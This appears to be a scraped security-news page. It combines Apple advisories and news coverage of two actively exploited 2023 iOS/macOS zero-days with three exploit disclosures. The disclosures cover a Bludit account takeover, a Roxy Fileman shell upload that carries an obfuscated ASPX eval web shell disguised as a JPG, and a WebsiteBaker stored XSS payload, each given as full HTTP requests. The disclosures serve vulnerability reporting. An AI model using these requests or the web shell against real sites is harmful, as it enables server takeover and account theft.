Apple Security Advisory 2023-04-10-1 - iOS 15.7.5 and iPadOS 15.7.5 addresses code execution, out of bounds write, and use-after-free vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-2023-04-10-1 iOS 15.7.5 and iPadOS 15.7.5iOS 15.7.5 and iPadOS 15.7.5 addresses the following issues.Information about the security content is also available athttps://support.apple.com/HT213723.IOSurfaceAcceleratorAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhoneSE (1st generation), iPad Air 2, iPad mini (4th generation), and iPodtouch (7th generation)Impact: An app may be able to execute arbitrary code with kernelprivileges. Apple is aware of a report that this issue may have beenactively exploited.Description: An out-of-bounds write issue was addressed with improvedinput validation.CVE-2023-28206: Clément Lecigne of Google's Threat Analysis Group andDonncha Ó Cearbhaill of Amnesty International’s Security LabWebKitAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhoneSE (1st generation), iPad Air 2, iPad mini (4th generation), and iPodtouch (7th generation)Impact: Processing maliciously crafted web content may lead toarbitrary code execution. Apple is aware of a report that this issuemay have been actively exploited.Description: A use after free issue was addressed with improvedmemory management.WebKit Bugzilla: 254797CVE-2023-28205: Clément Lecigne of Google's Threat Analysis Group andDonncha Ó Cearbhaill of Amnesty International’s Security LabThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. The versionafter applying this update will be "iOS 15.7.5 and iPadOS 15.7.5".All information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmQ0VJEACgkQ4RjMIDkeNxnSrA/9GfJGP3rEWjtK1bSWO5XgjPZIN8xZcYAT2zQCHNM/CREylHDWSoamyMsxsUFkc25u0ok7Ucoj5k+44WXT7bhRqK52H5PDP6b0n3KsUnhJo+up6+AlKgqgomWntzQyjYTe36nArMvHkMAy9car/kj0l6OBAFF2pVXSTU24ubQfYOtAppQp3JNU9UnqhJ/VrQCANwvjHIsdy+EximByL3+tdCTzRi1v5SC4ZntHP0vB66YwFgrkaxmWLa/EXrA9tgJr8YX6k7LUc0MMUJSkcMg7ydojFBeVgHCVdH2rJpL8w6eVrpW7MQ5wcp6XrDm23T1lckVT8WL+LL4414gBjkfOyjjntdllGiH5For84t76bUGYDs6pb69Ztv2uAMRRP8nJAgNpsP++EnEaI0U3jMoEbq0xCv64y/EenkZm3kuTwOeo7l5Q5WzTDJTsdqZMnP+tR7nhCu41UIKN8eOelp/BqRT/4wcT8fvTNLgg/oY6TUPHYydQO48+ZjiBaryn7oXcv+EaDdggkySniijiLI4Dol20J0SHUr6LHOM6AiiMWhz5ZeIawaLcLfw/oP5+U1tio3dPeeTCwjr9hY8BB/a2rPq6UkAuReAS3ZU+b1N5swaVRYaZb41bfW5rfI571XS42mjoCCGJP8TdXk8mWeZgdvAKdLCYbIW2taTPVRhtGwE==DG1t-----END PGP SIGNATURE-----

Apple Security Advisory 2023-04-10-1

Apple Security Advisory 2023-04-07-3 - Safari 16.4.1 addresses code execution and use-after-free vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-2023-04-07-3 Safari 16.4.1Safari 16.4.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/HT213722.WebKitAvailable for: macOS Big Sur and macOS MontereyImpact: Processing maliciously crafted web content may lead toarbitrary code execution. Apple is aware of a report that this issuemay have been actively exploited.Description: A use after free issue was addressed with improvedmemory management.WebKit Bugzilla: 254797CVE-2023-28205: Clément Lecigne of Google's Threat Analysis Group andDonncha Ó Cearbhaill of Amnesty International’s Security LabAll information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmQwYrsACgkQ4RjMIDkeNxmEoQ/+OXkd6XLV13F3cbrkCvFEvHndBySG93Q5o5ys0ClKqEc94Nvt5YPWalwJugUlFAXBevTCHAND7pNNbrmYPFZY+8qrMyIU/fnhsVaCfH/o/raULxZwiE9ndskrkjToHzEdMPrdtuC08gDHmYtr2thCb3M0Fv1rRqgIZ2ES9UBrrQJgFisTgZMgkylP02gN+1Ifa9JEBe7QMyRDhoC2uUvrBZI+jZJItVdysi3O1zYkMd+5D1icpwIotP0PlCLsFUAaccNXNDtcMr/XdHAuF5dcdDj0Kylmg79zC1mz79VUch3TerWb6HunBUTONFVlzbQwqNx+Csf6bDSSx0nHuqGz6pEfR65bTbzSh01+Yqjd+uht0aZVbNlptus7LKyrusRBN7QxlvoBY5JR+/CbGy3Tunj0YJk8SLG/QFCEDugjucT9O9myohlKWf7Af+1j/M2f/YKmQCyvhfREFBee8jzWj8FLLV/a6tIfVWe/IcrLGZDP13Q3nl7Ky55YndfXpNvN4ElAbSOyop3KkrfN1TgCGjeWhP+M5dK4RS9KsC+LF3AsejnUzLcQt2qW0e3dRCiyrhAAB9nKTFYtaJGoD6+jaQiCq4qGlC9fL8QNC6NvvvBrko+jE7Ws38vzdog2MVasAb+2vENqBo7ZKrgS0W/bRHV2x/NRo0lrQfKYma1koc0==JOpa-----END PGP SIGNATURE-----

Apple Security Advisory 2023-04-07-3

Apple Security Advisory 2023-04-07-2 - macOS Ventura 13.3.1 addresses code execution, out of bounds write, and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-2023-04-07-2 macOS Ventura 13.3.1

macOS Ventura 13.3.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/HT213721.

IOSurfaceAccelerator  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges. Apple is aware of a report that this issue may have been  
actively exploited.  
Description: An out-of-bounds write issue was addressed with improved  
input validation.  
CVE-2023-28206: Clément Lecigne of Google's Threat Analysis Group and  
Donncha Ó Cearbhaill of Amnesty International’s Security Lab

WebKit  
Available for: macOS Ventura  
Impact: Processing maliciously crafted web content may lead to  
arbitrary code execution. Apple is aware of a report that this issue  
may have been actively exploited.  
Description: A use after free issue was addressed with improved  
memory management.  
WebKit Bugzilla: 254797  
CVE-2023-28205: Clément Lecigne of Google's Threat Analysis Group and  
Donncha Ó Cearbhaill of Amnesty International’s Security Lab

macOS Ventura 13.3.1 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 2023-04-07-2

Apple Security Advisory 2023-04-07-1 - iOS 16.4.1 and iPadOS 16.4.1 addresses code execution, out of bounds write, and use-after-free vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-2023-04-07-1 iOS 16.4.1 and iPadOS 16.4.1iOS 16.4.1 and iPadOS 16.4.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/HT213720.IOSurfaceAcceleratorAvailable for: iPhone 8 and later, iPad Pro (all models), iPad Air3rd generation and later, iPad 5th generation and later, and iPadmini 5th generation and laterImpact: An app may be able to execute arbitrary code with kernelprivileges. Apple is aware of a report that this issue may have beenactively exploited.Description: An out-of-bounds write issue was addressed with improvedinput validation.CVE-2023-28206: Clément Lecigne of Google's Threat Analysis Group andDonncha Ó Cearbhaill of Amnesty International’s Security LabWebKitAvailable for: iPhone 8 and later, iPad Pro (all models), iPad Air3rd generation and later, iPad 5th generation and later, and iPadmini 5th generation and laterImpact: Processing maliciously crafted web content may lead toarbitrary code execution. Apple is aware of a report that this issuemay have been actively exploited.Description: A use after free issue was addressed with improvedmemory management.WebKit Bugzilla: 254797CVE-2023-28205: Clément Lecigne of Google's Threat Analysis Group andDonncha Ó Cearbhaill of Amnesty International’s Security LabThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. The versionafter applying this update will be "iOS 16.4.1 and iPadOS 16.4.1".All information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEBP+4DupqR5Sgt1DB4RjMIDkeNxkFAmQwYroACgkQ4RjMIDkeNxk/Iw/9GD1PXcIq1OFLv/N8t8bEqTUhuDqbFdQ3NLcbzmSO+XnoueqvlYvXtJr/w0wv0yAo6lxkLODuI+kVX9hjbqHZzUezCkugzvz4TXWgmQI6V7+TKXC9KA7jGxH6ZUMf1a+u+0jkFRUEUsaUHxOvScSVAmw2hlJvIlnYyK/E6O5ZJrua1cBQ2pQX2hlDIYUJaNZy3E9MlSKzZclDIszckvO1yVkfEzOkdh8laZoHQ3zN+QfKXvb9IoMmO715gaNYHoO141d0RqL5nyegu4e5lYb951o0DGph2usCrCrpFD0sSquAKNriwV5tJ/DPlrStMnktYX8iogCBT/T2/AevAmrdPOil7A/2rX5pSNRifnYdAnku8FdF2zxqKdMRt10fwI4YOl2IADKz/khPtig5fcYIwcpkXgavQ0N738hg4ugF9K18S5IdY2RSTN1SQtfRjWKus6I7MgGtdIp7MW1koB/j0bF6b5Xw9GefweUzSNvn+EZT2jVLHfiD/ILkKph/QXeiQfe3VGHOs89mHY750QmuAiAT9v24IkCfni5uvrRmApJiBB8w8Hnhq1aJa+09fxiVfPwVTrKqauI5cL2p0D9iWcjlWC8W1rJR5gO2Ge8twfgbMVCXfXmD9WhEb5Z6vSNlpJLy7xXSJTn4fnJNNgJ46lmKeU+G5I2/8xP8VWrsPks==83T6-----END PGP SIGNATURE-----

Apple Security Advisory 2023-04-07-1

Bludit version 4.0.0-rc-2 suffers from an account takeover vulnerability due to an API key that can be abused to change the administrative password.

    ## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:API token vulnerability## Author: nu11secur1ty## Date: 04.11.2013## Vendor: https://www.bludit.com/## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit## Description:The already authenticated attacker can send a normal request to changehis password and then he can usethe same JSON `object` and the vulnerable `API token KEY` in the samerequest to change the admin account password.Then he can access the admin account and he can do very malicious stuff.STATUS: HIGH Vulnerability[+]Exploit:```PUTPUT /api/users/admin HTTP/1.1Host: 127.0.0.1:8000Content-Length: 138sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50Safari/537.36content-type: application/jsonAccept: */*Origin: http://127.0.0.1:8000Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8000/admin/edit-user/pwnedAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthuiConnection: close{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}```[+]Response:```HTTPHTTP/1.1 200 OKHost: 127.0.0.1:8000Date: Tue, 11 Apr 2023 08:33:51 GMTConnection: closeX-Powered-By: PHP/7.4.30Access-Control-Allow-Origin: *Content-Type: application/json{"status":"0","message":"User edited.","data":{"key":"admin"}}```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)## Proof and Exploit:[href](https://streamable.com/w3aa4d)## Time spend:00:57:00

Bludit 4.0.0-rc-2 Privilege Escalation

Categories: Apple
Categories: Exploits and vulnerabilities
Categories: News
Tags: iOS 16.4.1

Tags:  iPadOS 16.4.1

Tags:  macOS 13.3.1

Tags:  CVE-2023-28206

Tags:  CVE-2023-28205

Tags:  use-after-free

Tags:  out-of-bounds write

Tags:  IOSurfaceAccelerator

Apple has released iOS 16.4.1, iPadOS 16.4.1, and macOS 13.3.1 for the iPhone, iPad, and Mac, respectively, and our advice is to install them as soon as possible.



(Read more...)




The post Apple releases emergency updates for two known-to-be-exploited vulnerabilities appeared first on Malwarebytes Labs.

On Friday April 7, 2023, Apple released iOS 16.4.1, iPadOS 16.4.1, and macOS 13.3.1 for the iPhone, iPad, and Mac, respectively, and our advice is to install them as soon as possible because all three updates include important security fixes.

The Cybersecurity and Infrastructure Security Agency (CISA) has already ordered federal agencies to patch these two security vulnerabilities before May 1st, 2023.

The updates may already have reached you in your regular update routines, but it doesn't hurt to check if your device is at the latest update level. If a Safari update is available for your device, you can get it by updating or upgrading macOS, iOS, or iPadOS.

How to update your iPhone or iPad.

How to update macOS on Mac.

**The vulnerabilities**

The security content of iOS 16.4.1 and iPadOS 16.4.1 contains information about two vulnerabilities that Apple has been made aware of reports that these issue may have been actively exploited.

CVE-2023-28206: an out-of-bounds write issue in IOSurfaceAccelerator was addressed with improved input validation. The issue that could allow an app to execute arbitrary code with kernel privileges is fixed in iOS 15.7.5 and iPadOS 15.7.5, macOS Monterey 12.6.5, iOS 16.4.1 and iPadOS 16.4.1, macOS Big Sur 11.7.6, macOS Ventura 13.3.1.

IOSurfaceAccelerator is an object that manages hardware accelerated transfers/scales between IOSurfaces in the IOSurface framework. The IOSurface framework provides a framebuffer object suitable for sharing across process boundaries. It is commonly used to allow applications to move complex image decompression and draw logic into a separate process to enhance security.

An out-of-bounds write can occur when a program writes outside the bounds of an allocated area of memory, potentially leading to a crash or arbitrary code execution. This can happen when the size of the data written is larger than the size of the allocated memory area, when the data is written to an incorrect location within the memory area, or when the program incorrectly calculates the size or location of the data to be written. In this case an attacker can use it to elevate the privileges of a malicious app. For those interested, a proof-of-concept (PoC) has been published for this vulnerability.

CVE-2023-28205: a use after free (UAF) issue was addressed with improved memory management. This issue is fixed in iOS 15.7.5 and iPadOS 15.7.5, Safari 16.4.1, iOS 16.4.1 and iPadOS 16.4.1, macOS Ventura 13.3.1.

UAF is a type of vulnerability that is the result of the incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to manipulate the program. Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. In this case, when the vulnerability is exploited, processing maliciously crafted web content may lead to arbitrary code execution.

WebKit is Apple’s web rendering engine. In other words, WebKit is the browser engine that powers Safari and other apps.

The security content of macOS Ventura 13.3.1 covers the same two vulnerabilities and Apple has also released a new Safari 16.4.1 update for macOS Monterey and macOS Big Sur, which likely addresses the WebKit vulnerability.

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Apple releases emergency updates for two known-to-be-exploited vulnerabilities

Unpatched Macs, iPhones, and iPads open to browser takeover and system kernel-level malicious code execution, Apple warns.

On April 7, Apple released two security updates warning about two zero-day vulnerabilities under active exploit in the wild. By April 10, those were added to the Cybersecurity and Infrastructure Security Agency (CISA) known exploited vulnerabilities (KEV) list.

The impact of the two vulnerabilities is widespread, affecting macOS Ventura 13.3.1 for Apple Macs, in addition to the iOS 16.4.1 and iPadOS 16.4.1 operating systems used to run iPhones and iPads, according to Apple.

The first bug, CVE-2023-28205, is a flaw in Apple iOS, iPad OS, macOS, and Safari WebKit that could lead to code injection while processing malicious Web content, CISA explained. The second, CVE-2023-28206, affects Apple iOS, iPadOS, and macOS IOSurfaceAccelerator that, worryingly, could allow a malicious app to execute code with kernel privileges, CISA said.

Apple has issued updates for iOS 16 and iPad OS 16. Other macOS versions including Big Sur Monterey, and Ventura have patches that need to be installed, and as Sophos pointed out in a separate advisory, it's still unclear whether the bugs will impact iOS 15 users with older devices.

Both issues were reported by Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International's Security Lab, giving cybersecurity experts reason to believe the flaws are being exploited by state actors to deploy spyware.

"It is interesting that Amnesty International's Security Lab was one of the organizations involved in finding reporting the issue," Mike Parkin, senior technical engineer with Vulcan Cyber explained in a statement provided to Dark Reading. "While Apple hasn't said much about the exploits, it seems likely, given the reporting and earlier history, that the exploits were deployed by state-level threat actors."

Pair of Apple Zero-Days Under Active Exploit; Patch & Update Accordingly

A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.7.5 and iPadOS 15.7.5, Safari 16.4.1, iOS 16.4.1 and iPadOS 16.4.1, macOS Ventura 13.3.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

This document describes the security content of Safari 16.4.1.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security updates page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

**Safari 16.4.1**

Released April 7, 2023

**WebKit**

Available for: macOS Big Sur and macOS Monterey

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

Description: A use after free issue was addressed with improved memory management.

WebKit Bugzilla: 254797  
CVE-2023-28205: Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International’s Security Lab

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: April 07, 2023

CVE-2023-28205: About the security content of Safari 16.4.1

Roxy Fileman versions 1.4.5 and below for .NET suffer from a remote shell upload vulnerability.

    # Exploit Title: Roxy Fileman 1.4.5 For .NET Arbitrary File Upload# Date: 09/04/2023# Exploit Author: Zer0FauLT [admindeepsec@proton.me]# Vendor Homepage: roxyfileman.com# Software Link: https://web.archive.org/web/20190317053437/http://roxyfileman.com/download.php?f=1.4.5-net# Version: <= 1.4.5# Tested on: Windows 10 and Windows Server 2019# CVE : 0DAY###########################################################################################                First, we upload the .jpg shell file to the server.                     ###########################################################################################POST /admin/fileman/asp_net/main.ashx?a=UPLOAD HTTP/2Host: pentest.comCookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTestContent-Length: 666Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"Accept: */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygOxjsc2hpmwmISeJSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: https://pentest.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pentest.com/admin/fileman/index.aspxAccept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7------WebKitFormBoundarygOxjsc2hpmwmISeJContent-Disposition: form-data; name="action"upload------WebKitFormBoundarygOxjsc2hpmwmISeJContent-Disposition: form-data; name="method"ajax------WebKitFormBoundarygOxjsc2hpmwmISeJContent-Disposition: form-data; name="d"/Upload/PenTest------WebKitFormBoundarygOxjsc2hpmwmISeJContent-Disposition: form-data; name="files[]"; filename="test.jpg"Content-Type: image/jpegâ€°PNG<%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %><%var PAY:String=Request["\x61\x62\x63\x64"];eval(PAY,"\x75\x6E\x73\x61"+"\x66\x65");%>------WebKitFormBoundarygOxjsc2hpmwmISeJ--###########################################################################################   In the second stage, we manipulate the .jpg file that we uploaded to the server.     ###########################################################################################{"FILES_ROOT":          "","RETURN_URL_PREFIX":   "","SESSION_PATH_KEY":    "","THUMBS_VIEW_WIDTH":   "140","THUMBS_VIEW_HEIGHT":  "120","PREVIEW_THUMB_WIDTH": "300","PREVIEW_THUMB_HEIGHT":"200","MAX_IMAGE_WIDTH":     "1000","MAX_IMAGE_HEIGHT":    "1000","INTEGRATION":         "ckeditor","DIRLIST":             "asp_net/main.ashx?a=DIRLIST","CREATEDIR":           "asp_net/main.ashx?a=CREATEDIR","DELETEDIR":           "asp_net/main.ashx?a=DELETEDIR","MOVEDIR":             "asp_net/main.ashx?a=MOVEDIR","COPYDIR":             "asp_net/main.ashx?a=COPYDIR","RENAMEDIR":           "asp_net/main.ashx?a=RENAMEDIR","FILESLIST":           "asp_net/main.ashx?a=FILESLIST","UPLOAD":              "asp_net/main.ashx?a=UPLOAD","DOWNLOAD":            "asp_net/main.ashx?a=DOWNLOAD","DOWNLOADDIR":         "asp_net/main.ashx?a=DOWNLOADDIR","DELETEFILE":          "asp_net/main.ashx?a=DELETEFILE","MOVEFILE":            "asp_net/main.ashx?a=MOVEFILE","COPYFILE":            "asp_net/main.ashx?a=COPYFILE","RENAMEFILE":          "asp_net/main.ashx?a=RENAMEFILE","GENERATETHUMB":       "asp_net/main.ashx?a=GENERATETHUMB","DEFAULTVIEW":         "list","FORBIDDEN_UPLOADS":   "zip js jsp jsb mhtml mht xhtml xht php phtml php3 php4 php5 phps shtml jhtml pl sh py cgi exe application gadget hta cpl msc jar vb jse ws wsf wsc wsh ps1 ps2 psc1 psc2 msh msh1 msh2 inf reg scf msp scr dll msi vbs bat com pif cmd vxd cpl htpasswd htaccess","ALLOWED_UPLOADS":     "bmp gif png jpg jpeg","FILEPERMISSIONS":     "0644","DIRPERMISSIONS":      "0755","LANG":                "auto","DATEFORMAT":          "dd/MM/yyyy HH:mm","OPEN_LAST_DIR":       "yes"}#############################################################################################################################################################################################################################   We say change the file name and we change the relevant "asp_net/main.ashx?a=RENAMEFILE" parameter with the "asp_net/main.ashx?a=MOVEFILE" parameter and manipulate the paths to be moved on the server as follows.     #############################################################################################################################################################################################################################POST /admin/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx HTTP/2Host: pentest.comCookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTestContent-Length: 44Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: https://pentest.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pentest.com/admin/fileman/index.aspxAccept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx===========================================================================================================================================================================================================================POST /admin/fileman/asp_net/main.ashx?a=MOVEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx HTTP/2Host: pentest.comCookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTestContent-Length: 68Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Origin: https://pentest.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pentest.com/admin/fileman/index.aspxAccept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx###########################################################################################                                 and it's done!                                         ###########################################################################################HTTP/2 200 OKCache-Control: privateContent-Type: text/html; charset=utf-8Vary: Accept-EncodingServer: Microsoft-IIS/10.0X-Aspnet-Version: 4.0.30319X-Powered-By-Plesk: PleskWinDate: Sun, 09 Apr 2023 09:49:34 GMTContent-Length: 21{"res":"ok","msg":""}=============================================================================================

Roxy Fileman 1.4.5 Shell Upload

WebsiteBaker version 2.13.3 suffers from a cross site scripting vulnerability.

    Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)Application: WebsiteBakerVersion: 2.13.3Bugs:  Stored XSSTechnology: PHPVendor URL: https://websitebaker.org/pages/en/home.phpSoftware Link: https://wiki.websitebaker.org/doku.php/en/downloadsDate of found: 02.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the page can do thispayload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3EPOST /admin/pages/add.php HTTP/1.1Host: localhostContent-Length: 137Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9Connection: closeb7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add2. Visit http://localhost/

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